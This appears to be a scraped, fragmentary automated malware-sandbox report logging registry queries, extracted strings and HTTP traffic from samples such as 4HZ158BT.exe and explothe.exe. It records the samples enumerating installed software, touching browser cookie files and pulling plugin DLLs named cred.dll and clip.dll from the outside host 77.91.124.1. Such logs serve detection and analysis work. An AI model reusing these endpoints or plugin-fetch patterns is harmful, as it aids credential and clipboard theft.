"Keep" in header "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDLYsQ7yv2LMwmxOu34tlfG HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDLYsQ7yv2LMwmxOu34tlfG HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDLYsQ7yv2LMwmxOu34tlfG HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDLYsQ7yv2LMwmxOu34tlfG HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"6c:Te78,"2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "2TJ5569.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")6d:T52c,"4HZ158BT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4HZ158BT.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")6e:T6ef,"4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "4HZ158BT.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION")6f:Tbb3,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "file") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "file") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "80A6.bat") file/memory contains long string with (Indicator: "facebook.com"; File: "V8DEIKGR.txt") file/memory contains long string with (Indicator: "youtube"; File: "DAGX44QZ.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_1_.css") file/memory contains long string with (Indicator: "facebook.com"; File: "P0YT3DQ8.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "AS8H48KG.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "RNJVGTRS.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "BR8FA7V6.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "P8580NAK.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217235563699231067473296214413931064665VISITOR_INFO1_LIVEU6lnB2xZnwMyoutube.com/921721775436831100867296214413931064665" (Indicator: "youtube"; File: "5JMI9LC5.txt") Found string "0xvz0efXUbtiB2jzU..BlMMVr.Rh.AAA.0.0.BlMMVr.AWUkRtbqp0Ifacebook.com/921757064844831082762419363940431064664a8UwZba5S9HY558EVZ-KfYrDfacebook.com/9217211510259231145123419363940431064664" (Indicator: "facebook.com"; File: "G8KX626G.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217235563699231067473296214413931064665" (Indicator: "youtube"; File: "OWM8P5RT.txt") Found string "CheckConnectionTempCookie942517998accounts.youtube.com/accounts/2147484752149615884831064737139721287731064737" (Indicator: "youtube"; File: "GGBC4U86.txt") Found string "CheckConnectionTempCookie401828310accounts.youtube.com/accounts/2147484752294406579231064673284794532031064673" (Indicator: "youtube"; File: "Y0F0NQII.txt") Found string "a8UwZba5S9HY558EVZ-KfYrDfacebook.com/9217211510259231145123419363940431064664" (Indicator: "facebook.com"; File: "GV4VGBLP.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "HF167MRM.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "facebook.com"; File: "SSL")70:T1ecd,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Thu 19 Oct 2023 05:57:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Thu 19 Oct 2023 05:57:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Thu 19 Oct 2023 05:25:53 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1931 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu 19 Oct 2023 05:28:45 GMT Expires: Thu 19 Oct 2023 06:18:45 GMT Cache-Control: public max-age=3000 Age: 1761 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Thu 19 Oct 2023 05:25:04 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1982 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Thu 19 Oct 2023 05:01:18 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3408 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 15285 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu 19 Oct 2023 05:55:01 GMT Expires: Thu 19 Oct 2023 06:45:01 GMT Cache-Control: public max-age=3000 Age: 185 Last-Modified: Thu 19 Oct 2023 03:54:38 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30823BB130823A99020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDLYsQ7yv2LMwmxOu34tlfG HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Thu 19 Oct 2023 05:16:00 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2528 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Thu 19 Oct 2023 05:26:43 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1886 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Thu 19 Oct 2023 05:46:30 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 702 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Thu 19 Oct 2023 05:42:52 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 924 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D 